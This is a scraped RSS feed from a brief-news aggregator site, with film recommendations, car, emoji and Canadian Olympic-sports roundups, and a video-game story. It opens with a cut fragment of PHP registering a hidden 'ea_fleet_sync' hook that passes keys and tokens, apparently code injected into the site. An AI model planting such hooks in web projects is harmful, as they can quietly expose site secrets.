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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘Catchup’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 12 Jun 2018 18:44:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘Catchup’ – Brief News https://briefnews.eu 32 32 The 10 Best Movies to Buy or Stream This Week: Catch-Up Edition https://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-catch-up-edition/ https://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-catch-up-edition/#respond Tue, 12 Jun 2018 18:44:22 +0000 http://briefnews.eu/the-10-best-movies-to-buy-or-stream-this-week-catch-up-edition/ This week’s new release slate is absolutely miserable – Tomb Raider, Sherlock Gnomes, I Can Only Imagine, whatever that maybe – so we’re trying something new. You see, your film editor sees a lot of movies at festivals, and tries to keep an eye out for the good ones in theaters and on demand. But there are so many of them, and so many small movies hitting streaming services, that unless something gets a very loud release, I might just miss it. So this week, I’m recommending several festival faves that aren’t new to your streaming subscription services, but are worth watching nonetheless, along with a catalogue Blu-ray that similarly slipped between our fingers. And then, just for the sake of timeliness, one new disc release (from Criterion, no less).

ON NETFLIX

Jules and Delores: Caito Ortiz directs this Brazilian heist movie with a fast style and a sprung sense of humor, and it’s fun to watch (if not terribly memorable). The real find here is co-star Taís Araújo, who absolutely steals the show as Dolores, the impatient wife of protagonist Jules (Paulo Tiefenthaler). Exhaustingly sexy and whip-smart, she’s a real go-getter; the scene where she takes over the sale of the stolen world cup at the story’s center is pip, and by the time she struts out to the closing music, you’re wondering how long it’s going to take some smart studio director to bring her to America and make her a star. She’s better than the movie, but the movie’s not half bad.

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Fits and Starts: Wyatt Cenac is terrific in the central role of a struggling novelist who finds himself even less confident following the breakout success of his writer wife (Greta Lee, also wonderful), who encourages him to “play the game a little” by accompanying her to an “artist’s salon” in her publisher’s fancy Connecticut home. Complications ensue, and if we don’t always buy them, the charisma of the performers, the quotable dialogue, and the assorted weird behavior more than carries it. The eccentricity of the supporting characters and the grounded central relationship would seem to be at odds, but writer/director Laura Terruso (Hello, My Name is Doris) carries it off; she’s a real talent, and we’d all benefit from a few more Cenac and Lee vehicles.

The Secret Scripture: Rooney Mara and Vanessa Redgrave are outstanding as the younger and older versions of a woman accused of murdering her newborn in this intelligent, staid, yet moving adaptation of Sebastian Barry’s novel from director Jim Sheridan (My Left Foot, In the Name of the Father). The broad strokes aren’t exactly earth-shaking: a love triangle, a forbidden romance, secrets buried and unearthed, etc. But there’s much happening under the surface, and Sheridan’s explorations of trust, war, fear of femininity, and repression in the church bear real fruit. You won’t swallow the final turn for a second, but it’s executed with enough grace and emotion to give this one a pass.

DRIB: Norwegian filmmaker Kristoffer Borgli helms this slyly dead-on satire of the entertainment industry and buzzword-y marketing trends, which dramatizes the (they say!) true story of comedian/performance artist Amir Asgharnejad’s prankish brush with “selling out” by shilling for an energy drink in a meant-to-go-viral marketing campaign. Borgli’s primary M.O. is uncertainty – he keys in on his subject’s love of discomfort, placing him in awkward situations and letting him (and us) squirm, occasionally breaking the wall to remind us that this is all a reenactment, and one with its own questions of performance and deception. And lurking behind that is the low-key question of if it’s all made up, from top to bottom. The tone is tricky as hell, and Borgli doesn’t always nail it. But when he does, it’s a fascinating piece of work.

Orange Sunshine: Good documentaries don’t just tell you about their subjects – they tell you about the world around them, and place them into that context. So William A. Kirkley’s’s account of the rise and destruction of “The Brotherhood of Eternal Love,” a California collective who become the most powerful LSD distributors of the 1960s, isn’t just about them; Kirkley succinctly lays out the dichotomy of their movement, of leftover ’50s values challenged by a “spiritual revolution,” and how they saw their smuggling and dealing not as a business, but as a religious mission. When the ’60s began, they were freaks and outcasts; by the decade’s end, they were a force that local and federal authorities had to team up to take down. So in some ways, their story was the story of the ’60s, and it’s well told here; the archives are impressive, the interviews are entertaining, and the reenactments are convincing. It takes its subjects seriously (but not too seriously), respecting how much they accomplished their initial goal of changing the way people saw the world, one tab at a time.

California Dreams: Director Mike Ott fuses narrative and documentary techniques to craft this portrait of a handful of would-be actors and writers, desperate to make it big yet trapped in mundane, “normal” lives. The scenes are staged, but the people and their emotions are real, and he both creates and captures moments that are touching, tragic, and offhandedly funny, often by merely hanging with his scenes long enough for unexpected truths to reveal themselves. They display an ear for the rhythms of everyday life (or, more often than not, the lack of rhythm); it’s a truthful film, and an empathetic one. Genuinely peculiar, but wildly successful at the very specific thing it’s trying to do.

Shadow World: This indictment of what is now, perhaps too easily, acknowledged as the military-industrial complex from director John Grimonprez is one of those movies that seems to start simply, with a single subject, yet logically and skillfully pushing past to an ever-widening series of targets. And thus an expose of a war profiteering scandal becomes a meticulous and irrefutable indictment of an entire way of seeing the world – and of accordingly doing business, in government, in the military, in the private sector, and in the increasingly blurred areas between them. Via precise cutting and ingenious archival excavation, Grimonprez paints a terrifying portrait of where we are, and the improbability of turning back anytime soon.

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Solitary: Inside Red Onion State Prison: Guests of the Red Onion State Prison, a supermax facility in Virginia, are (per their warden) “the worst-behaving offenders in the state,” and they’re treated accordingly: they spend 23 hours per day, seven days a week, in an 8×10 cell, all alone. The general din that fills the facility is the sounds of scary people losing their damn minds – and Kristi Jacobson’s thoughtful documentary asks whether such isolation is ultimately beneficial to either these prisoners or the world around them. It’s not an activist documentary; she does not soft-soap the things these men have done, in and out of prison. But she wants to understand how incarceration and claustrophobia have led them to create their own, skewed sense of reality and gravity, and what the literally inescapable hopelessness of their station has wrought. Her film listens to them, not impassively, but not with prejudice; she puts you into their world, and asks how you would make your way through it.

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Joe: Olive Films recently upgraded this 1970 sleeper hit from director John G. Avildsen, who went on to direct Rocky – a bit of a shock, since Joe is the mathematical opposite of a feel-good movie. A respectable suburban ad man tries to track down his drug-addicted hippie daughter (Susan Sarandon, in her film debut) in the scuzz of NYC with the help of Joe (Peter Boyle, electrifying), whom he meets in the “American Bar and Grill,” where he loudly makes pronouncements like “42% of all liberals are queer!” and “Why work when you can screw, have babies, and get paid for it?” Between the title character, who may as well wear a MAGA hat, and the film’s original tag line (“Keep America Beautiful”), it’s become an oddly timely film, but its politics aren’t simple; it’s pretty cynical, generally, about everyone. This is a blunt, ugly picture – particularly in its closing passages – but it gets the point across. (Also streaming on Prime Video.) (Includes UK trailer.)

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Manila in the Claws of Light: The week’s sole genuinely “new release” is a Criterion Collection edition of this 1975 portrait of poverty and despair from Philippine director Lino Brocka. He tells the story of Julio, a kid from the sticks who travels to the big city in search of his missing girl, but Brocka works in a neorealist style that focuses on the bleakness of his options and the day-to-day difficulty of a life in which workers scammed and shorted by their own employers, and how their desperation enables exploitation. (Near the end, Julio stumbles across a “down with capitalism” rally, and by then, the movie’s made the argument pretty well). It’s a melodrama with a noir set-up – and, ultimately, a good noir’s sense of nihilism. (Includes two documentaries, interview, and new introduction by Martin Scorsese.)

                                                                

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  • Apple changed the design of the gun emoji into a squirt gun back in 2016.
  • At the time, it was a controversial choice, but tech companies have since followed suit.
  • The latest companies to redesign their gun emojis are Facebook and Microsoft, which announced the upcoming changes this week.

A small decision that Apple made back in 2016 has spurred a domino effect that has pushed some of its biggest competitors in the tech industry, including Samsung, Google, Microsoft, and Facebook, to make changes to their platforms. 

We’re discussing emoji, of course.

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For five years in a row, Nova Scotia has seen more doctors leave than arrive. The pressure is on for a newly hired recruiting team to turn the loss into a positive, but the team has work to do to catch up with the rest of the country.

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Hyundai announced a mid-cycle update for the 2018 Sonata in the spring of 2017, but at the time, only the gasoline-powered models were redone. Now, Hyundai has brought the hybrid and plug-in hybrid models up to speed with design changes that align them with their gas brethren.

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The exterior and interior redesigns are more extensive than is typical for a mid-cycle refresh. Up front, there’s Hyundai’s new grille, which is making its way across the lineup and has already been applied to the new Accent, the Elantra GT hatchback, and the redesigned Santa Fe. The hood and front bumper are reshaped as well, while the lighting elements move higher up in the fascia.

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The rear is also heavily reworked. Hyundai shifted the license plate from the trunklid to the resculpted bumper and hid the trunk release inside a large Hyundai logo. The taillights have a new design, and the Sonata name is spelled out with large capital letters. The hybrid models separate themselves from the rest of the lineup with a subtly different color scheme on the taillamps, a rear hybrid badge, and special 16- or 17-inch wheels.

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The interior isn’t as changed as the exterior, but Hyundai shifted a few things around and upgraded some of the materials. Hyundai axed the CD player, redesigned the shift knob and HVAC buttons, and tweaked the vents.

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As on the standard Sonatas, the hybrid and plug-in hybrid have also received a stiffer suspension and retuned power steering. In addition to those chassis changes, safety is a major focus on the new Sonata hybrids. Blind-spot detection with rear cross-traffic alert and lane-change assist are standard, automated emergency braking and lane-keeping assist are available, and adaptive LED headlights are available. Additional tech highlights include a new rear USB port, Qi wireless charging, a hands-free trunk release, memory for the driver’s seat, and adaptive cruise control.

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The powertrains on both the plug-in hybrid and hybrid models remain unchanged. The base for both powertrains is a 2.0-liter inline-four that makes 154 horsepower and 140 lb-ft of torque. On the hybrid, the four-cylinder engine works with a synchronous AC motor good for 51 horsepower, along with a 1.76-kWh lithium-ion battery pack. In total, the system produces a max of 193 horsepower at 6000 rpm, its output delivered via  a six-speed automatic transmission. Hyundai estimates the Sonata hybrid will return 39 city mpg, 45 highway mpg, and 42 mpghttps://www.caranddriver.com/photo-gallery/ combined. By comparison, the most fuel-efficient non-hybrid Sonata, the turbocharged 1.6-liter four, is EPA-rated at 28 mpg city, 37 mpg on the highway, and 31 mpg combined.

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The plug-in hybrid has a beefier electric motor and a battery pack with increased capacity. The PHEV’s motor makes 67 horsepower for a total output of 202 horsepower, and the lithium-ion battery pack can hold up to 9.8 kWh of energy. According to Hyundai, the Sonata PHEV can drive in electric mode for up to 27 miles and will recharge with a Level 2 charger in less than three hours.

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It was a jam-packed weekend of high-performance sport around the world, including three Canadians making history with some clutch performances on Sunday.

Here’s a look at what you may have missed.​​​​

Lawes & Morris notch Canadian 1st

Canada has it’s first-ever Olympic mixed doubles curling team.

Kaitlyn Lawes and John Morris emerged as the last pair standing in Portage la Prairie, Man., outlasting the 17 other teams vying to wear the Maple Leaf in Pyeongchang.

The Winnipeg-born duo avenged their loss to Val Sweeting and Brad Gushue in the Page playoff 1-2 match by taking an 8-6 victory over that same team in Sunday’s final.

Lawes/Morris vs. Sweeting/Gushue in the Canadian mixed doubles curling trials final from Portage la Prairie, Manitoba28:41

Lawes and Morris are no strangers to the pressure that accompanies Olympic competition, having both brought home gold at previous Games, and promised to give it their all in Pyeongchang.

CBC Sports’ Scott Russell interviewed Lawes and Morris after they won the right to represent Canada at the 2018 Olympics in Pyeongchang in Curling Mixed Doubles2:23

Lawes also becomes the first Canadian curler to represent the country at back-to-back Winter Games, having won gold with the Jennifer Jones rink in Sochi in 2014.

Alex Harvey makes Tour de Ski history

It was a big weekend for Canada’s top cross-country skier. Alex Harvey claimed his first podium result of the season with a bronze on Saturday at the Tour de Ski in Val di Fiemme, Italy.

Harvey turned in a season-best third-place finish in the sixth stage of the Tour de Ski held in Val di Fiemme, Italy1:01

How do you top that? Well, a second consecutive third-place finish made Harvey the first non-European man to land on the overall podium at the Tour de Ski.

The St-Férréol-les-Neiges, Quebec skier finished third in the seventh and final stage of the Tour de Ski, becoming the first non-European male to reach the overall podium1:39

Bobsledders strike double gold

Canada’s bobsleigh team celebrated a new partnership and a personal milestone with gold medals at a World Cup stop in Altenberg, Germany.

Kaillie Humphries and Phylicia George took the top spot on the women’s podium in only their second race together.

The Canadians were able to claim their 1st gold medal together at the IBSF Bobsleigh and Skeleton World Cup in Altenberg, Germany2:36

“It feels really good and we are happy with the performance. Phylicia and I worked really hard during the Christmas break. To be able to come out and perform, in only Phylicia’s second race, is great,” said Humphries.

“We made big gains today with good pushes and I’m happy with how I drove. We are happy to walk away with the track record and we know there is lots of room to grow.”

In the two-man event, Justin Kripps celebrated his 31st birthday on the top of the podium with teammate Alexander Kopacz.

The Canadian pair won their first gold of the season to stay atop the World Cup standings with 1239 points2:59

Kingsbury keeps rolling

Mikael Kingsbury won his 11th straight World Cup moguls title with another dominant performance on Saturday in Calgary.

The Deux-Montagnes, Quebec native won moguls gold in Calgary. It’s Kingsbury’s 11th straight FIS World Cup victory2:53

Kingsbury has won gold at each World Cup stop he’s competed in since Jan. 28, 2017, when he settled for silver in Calgary.

On the women’s side, Justine Dufour-Lapointe scored a bronze medal on home snow.

The Montreal native was the only Canadian woman to reach the podium at the FIS Moguls World Cup stop in Calgary1:42

Speed skaters earn their way to the Games

For Canada’s best long track speed skaters, the path to Pyeongchang runs through Calgary’s Olympic Oval.

Qualification spots are up for grabs in several disciplines at the national trials, with Denny Morrison, Vincent de Haitre and Brianne Tutt doing their best to book their tickets to the Winter Games.

Morrison qualified for his fourth Olympics at the Canadian long track trials on Saturday.2:21
de Haitre won the 1500m event at the Canadian trials in Calgary on Saturday.2:25
Tutt won the 1500m event at the Canadian long track trials on Saturday.2:36

Competition resumes Monday with the men’s and women’s 1,000 metres and concludes Tuesday with the men’s 10,000 and women’s 5,000 events.

Canada can take up to 10 men and 10 women to Pyeongchang to compete in long track speed skating. The team will be announced Wednesday in Calgary.

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It was a jam-packed weekend of high-performance sport around the world, including three Canadians claiming gold at the Dew Tour, while several other athletes picked up silver and bronze medals on the World Cup circuit.

Here’s a look at what you may have missed.​​​​

Successful tour of Dew-ty

It was a golden weekend for Canadian snowboarders at the Dew Tour stop in Breckenridge, Colo.

Cassie Sharpe got things started by winning the women’s superpipe competition. The 2016 Winter X Games champion laid down a monstrous second run to take the title.

Cassie Sharpe wins Dew Tour Superpipe gold2:01

On Saturday, Spencer O’Brien and Max Parrot followed suit, capturing top spot on the podium in women’s and men’s snowboard slopestyle.

Spencer O’Brien soars to gold in snowboard slopestyle at Dew Tour2:38

Max Parrot flies to gold in snowboard slopestyle at Dew Tour2:43

Canadian lugers love Lake Placid

The Canadian luge team continued to build off the success it had last weekend at its home track in Calgary by scoring four medals at what could be considered its home-away-from home in Lake Placid, N.Y.

Tristan Walker and Justin Snith took their first medals of the World Cup season with bronze in doubles, while Alex Gough and Kim McRae crowded the podium in the women’s event, taking silver and bronze, respectively.

Alex Gough adds silver medal in women’s sprint1:11

Kimberley McRae speeds to podium finish in luge World Cup1:54

Gough added her second medal of the weekend by claiming silver in the sprint competition.

Canada’s Alex Gough slides to 2nd-straight silver medal in Women’s luge1:39

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Meanwhile, it was a heartbreaking weekend for John Fennell. The Canadian slider was attempting to make the U.S. team for Pyeongchang but a broken sled dashed his Olympic hopes.

Canadians crowd Igls podium

Elisabeth Vathje and Mirela Rahneva also provided a heaping dose of Canadian content on the podium in women’s skeleton at the Igls track in Innsbruck, Austria.

The teammates finished with silver and bronze, respectively, in Saturday’s event.

Mirela Rahneva slides to 1st skeleton World Cup medal of the season2:08

Elisabeth Vathje earns 3rd skeleton World Cup silver medal of the season2:07

Bobsledders take silver, denied bronze

The Canadian bobsleigh team made a few appearances on the podium in Igls, but will only get credit for two medals.

While Justin Kripps and Jesse Lumsden earned silver in the two-man, Nick Poloniato and Neville Wright were stripped of their bronze-medal finish in that event after it turned out their sled was not up to code.

Canadian bobsleigh duo DQ’d for faulty sled0:40

Canada’s Justin Kripps, Jesse Lumsden win silver in 2-man bobsleigh2:04

Kripps and Lumsden teamed up again for silver in the four-man event, joined by Alexander Kopacz and Oluseyi Smith.

Justin Kripps wins silver again, this time in 4-man bobsleigh1:41

Career milestone for aerialist

Lewis Irving brought home his first-ever World Cup medal from the aerials competition at Secret Garden, China.

Lewis Irving wins bronze in men’s aerials at Secret Garden1:00

Even better for Irving is that the course will be the one used during the 2022 Olympics.

Silver in SBX

The Canadian duo of Meryeta O’Dine and Zoe Bergermann won silver at a World Cup event in Austria on Sunday.

Guay regrets competing

The Canadian alpine team didn’t capture any medals this weekend, but that wasn’t the biggest news coming out of Val Gardena.

Erik Guay, who was troubled by back problems earlier in the season, says he reaggravated the injury in the men’s downhill and wished he had “just stayed home.”

Erik Guay regrets competing after re-aggravating back injury1:54

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]]> https://briefnews.eu/olympic-sports-catchup-canadian-snowboarders-do-the-dew-tour/feed/ 0 Olympic sports catchup: Homan and Koe are Pyeongchang bound https://briefnews.eu/olympic-sports-catchup-homan-and-koe-are-pyeongchang-bound/ https://briefnews.eu/olympic-sports-catchup-homan-and-koe-are-pyeongchang-bound/#respond Mon, 11 Dec 2017 19:51:08 +0000 http://briefnews.eu/olympic-sports-catchup-homan-and-koe-are-pyeongchang-bound/

It was a jam-packed weekend of high-performance sport around the world, including Rachel Homan and Kevin Koe booking their tickets to Pyeongchang as Canada’s representatives in the Olympic curling tournament.

Here’s a look at what you may have missed.​​​

Homan and Koe ‘Roar’ their way to the Games

Ottawa’s Rachel Homan and Kevin Koe will represent Canada at the Olympics in South Korea in February after claiming victories at this week’s national curling trials. 

It will be the first Games for the 28-year-old Homan, who edged Chelsea Carey 6-5 in Sunday’s women’s final.

Match Wrap: Rachel Homan wins Roar of the Rings1:30

Homan topped the reigning Olympic champion Jennifer Jones 6-3 in Saturday’s semifinal to reach the deciding match.  

On the men’s side, Kevin Koe will also be making his Olympic debut after defeating Mike McEwen 7-6. 

Koe was 7-1 in round-robin action, earning himself a direct spot into the final. 

Match Wrap: Kevin Koe advances to Olympics with Roar of the Rings victory2:07

Figure skaters climb the podium

Canada was represented in three of the four disciplines at the Grand Prix of Figure Skating Final in Japan, and they scored a medal in each of them.

The streak is over: Virtue and Moir beaten by French rivals at GP Final1:00

However, it wasn’t the gold medal many were expecting from ice dance superstars Tessa Virtue and Scott Moir, who had their win streak snapped by Gabriella Papadakis and Guillaume Cizeron.

Meagan Duhamel, Eric Radford earn bronze at ISU Grand Prix Final8:09

Canadian pairs skaters Meagan Duhamel and Eric Radford rallied from a fifth-best short program to take bronze after their free skate, while Kaetlyn Osmond couldn’t hold her slim lead after the short, taking a bronze in the ladies’ competition.

Kaetlyn Osmond skates to bronze medal at ISU Grand Prix Final7:41

Free skiers go on medal frenzy 

​Canada’s freestyle skiing team had quite the medal haul this weekend, bringing home six medals in three disciplines. Here’s a look at what they won, and you can watch how they did it by clicking on their name:

Home ice, sweet home ice

The sliders on Canada’s luge team had home-track advantage this weekend, picking up a total of three silver medals in Calgary.

Sam Edney got things started on Friday with a silver in the men’s competition, while Alex Gough nabbed silver in the women’s before helping the team relay squad cement the second spot on the podium.

Calgary’s Sam Edney wins luge silver on home track1:14

Canada’s Alex Gough captures first individual medal of World Cup season1:59

Canada’s Relay Team wins silver on home track3:59

Winterberg lives up to its name

The skeleton and bobsleigh World Cup events in Winterberg, Germany, were affected by a huge snowfall this weekend, making for tricky sliding conditions, but Canadians persevered and came away with three medals.

Dave Greszczyszyn took bronze in a weather-shortened men’s skeleton competition while teammate Elisabeth Vathje cruised to a silver medal on Friday.

Bobsledders Chris Spring and Neville Wright teamed up for a silver in the two-man competition.

Canada’s Chris Spring, Neville Wright capture silver at IBSF World Cup2:05

Bloemen sets record pace

It was triple gold for Canada’s speed skating team in Salt Lake City this weekend.

Ted-Jan Bloemen broke a decade-long world record in the men’s 5,000m to take gold with a time of six minutes and 1.86 seconds.

His new record pace toppled the previous mark of 6:03.32 set by Dutch legend Sven Kramer in 2007. 

Ted-Jan Bloemen breaks world record in men’s 5,000m8:45

Alex Boisvert-Lacroix was tops in the men’s 500m final, while the team pursuit squad set a national record while taking the top prize in Utah.

Alex Boisvert-Lacroix scores another long track World Cup gold2:01

Team Canada snag team pursuit gold in Salt Lake City5:53

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]]> https://briefnews.eu/olympic-sports-catchup-homan-and-koe-are-pyeongchang-bound/feed/ 0 Olympic sports catchup: Canadian speed skaters shine https://briefnews.eu/olympic-sports-catchup-canadian-speed-skaters-shine/ https://briefnews.eu/olympic-sports-catchup-canadian-speed-skaters-shine/#respond Mon, 20 Nov 2017 23:30:08 +0000 http://briefnews.eu/olympic-sports-catchup-canadian-speed-skaters-shine/

It was a jam-packed weekend of high-performance sport around the world, including Canadian medals in speed skating, figure skating, bobsleigh and luge.

Here’s a look at what you may have missed.​​​

Speed skaters set the pace

It was a great weekend for both of Canada’s speed skating teams as two short track stars wrapped up World Cup titles in Seoul, while the long track squad picked up four medals in a single day of competition in Stavanger, Norway.

Kim Boutin wins silver at short track World Cup event in Seoul3:14

In the final short track World Cup event of the season, Canada’s new kid on the block, Kim Boutin, wrapped up the season title in the women’s 1,000-metre discipline, thanks to a silver-medal performance on Sunday. That came one day after teammate Marianne St-Gelais secured the 500m crown with a fourth-place result.

Charles Hamelin, Kim Boutin cruise to podium at short track World Cup1:05

Canadian men also landed on the podium this weekend: Charles Hamelin won gold in the men’s 1,500 (his second individual medal on the season) while Samuel Girard took bronze in the 1,000.

Canada’s long track team may have failed to find the podium on Saturday (despite six top-10 finishes), but they rebounded in a big way on Sunday by bringing home a medal in all four events on the day, capturing a gold, two silvers and a bronze.

The gold came in the men’s team sprint, featuring skaters Gilmore Junio, Alex Boisvert-Lacroix, and Vincent De Haitre. That team also won the gold last week in the Netherlands.

Canadian men sprint to gold in Norway2:49

Canada’s Ivanie Blondin took home a silver in the women’s 5,000-metre race, and Ted-Jan Bloemen grabbed a silver of his own in the men’s 10,000. 

To round out the big day, the women’s sprint team — Marsha Hudey, Kali Christ and Kaylin Irvine — won bronze. Hudey also added a silver medal in the women’s 500 on Friday.

Canadian bobsledders hit the podium

There was plenty of Canadian content on the podium this weekend at the bobsleigh World Cup stop in Park City, Utah.

Canada’s Humphries, Lotholz win silver in Park City1:43

Kaillie Humphries and Melissa Lotholz made it back-to-back weeks with a medal, cruising to a silver in the women’s event.

Justin Kripps takes 4-man bobsleigh silver1:45

Chris Spring earns 4-man bobsleigh bronze in Park City1:09

Two Canadian men’s sleds — piloted by Justin Kripps and Chris Spring — also took up a lot of space on the podium, scoring silver and bronze in the four-man competition.

Osmond locks up Grand Prix Final spot

Kaetlyn Osmond earned her place in next month’s Grand Prix of Figure Skating Final, but it wasn’t the result the Marystown, NL, skater was hoping for.

Kaetlyn Osmond falls to bronze at Internationaux de France7:56

Osmond led after the short program but slipped to a bronze-medal finish with a fall in her long program on Saturday.

Luge team sharp in World Cup debut

Canada’s luge team relay squad got off on the right foot in Innsbruck, Austria, on Sunday.

Alex Gough, Mitchel Malyk, Tristan Walker, and Justin Snith combined to finish 0.358 seconds behind the powerhouse Germans to take silver in the season-opening event.

Canada slides onto the podium at Luge World Cup3:35

Canada finished fourth at the Sochi Games in team relay and is aiming for the podium in Pyeongchang.

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Fans were expecting the Injustice 2 PC beta to launch today but have since learnt that is in being delayed by NetherRealm.

Having only been announced earlier this week, it was confirmed that the game would in fact be ported over from the PS4 and Xbox One.

It was also confirmed that fans on Steam would get to try before they buy, through the new open beta playtest.

But it was confirmed on the official Injustice 2 Twitter page that fans would be stuck waiting a little longer to try out the new build.

“The PC beta will NOT begin tomorrow. Stay tuned for more information,” the official NetherRealm tweet reads.

Details are still pretty thin on the ground regarding Injustice 2 on the PC, with no concrete information on what features or characters will be included.

It’s expected that everything from consoles will be made available on Steam and Windows PC, although additional features could also be included.

The popular PS4 and Xbox One fighting title will be arriving on Steam later this Autumn, although no release date has been shared.

There isn’t even a Steam page for Injustice 2, so it might be worth fans checking back regularly to find out more.

It should be noted that while the new open beta will only be available on Steam, PC players will be be able to buy Injustice 2 for Windows.

According to the latest reports, QLOC is developing the PC version of the game, which is still getting new DLC characters each month.

It was recently revealed that the Atom will be part of Fighter Pack 3, after the Hellboy DLC is released.

Injustice 2 fans were treated to their first glimpse of Atom using a TV special aired in the US.

The announcement video said Atom will be arriving “soon”, with reports indicating the release date falling in December.

Injustice 2 gameplay footage of the fourth Atom, aka Ryan Choi, showcased what his fighting style will be like.

While in his atomic form, all opponents can see is a slight blue streak flow across the screen as Atom lands fast, dangerous blows.

The footage doesn’t show Atom’s super move, but we’ll hopefully get a glimpse of it ahead of the big DLC launching later this year.

Atom was one of the first superheroes of the Silver Age of comic books and made his debut back in 1961.

NetherRealm director Ed Boon recently commented on the possibility of Injustice 2 coming to Nintendo Switch, commenting that an external team would be needed to handle development.

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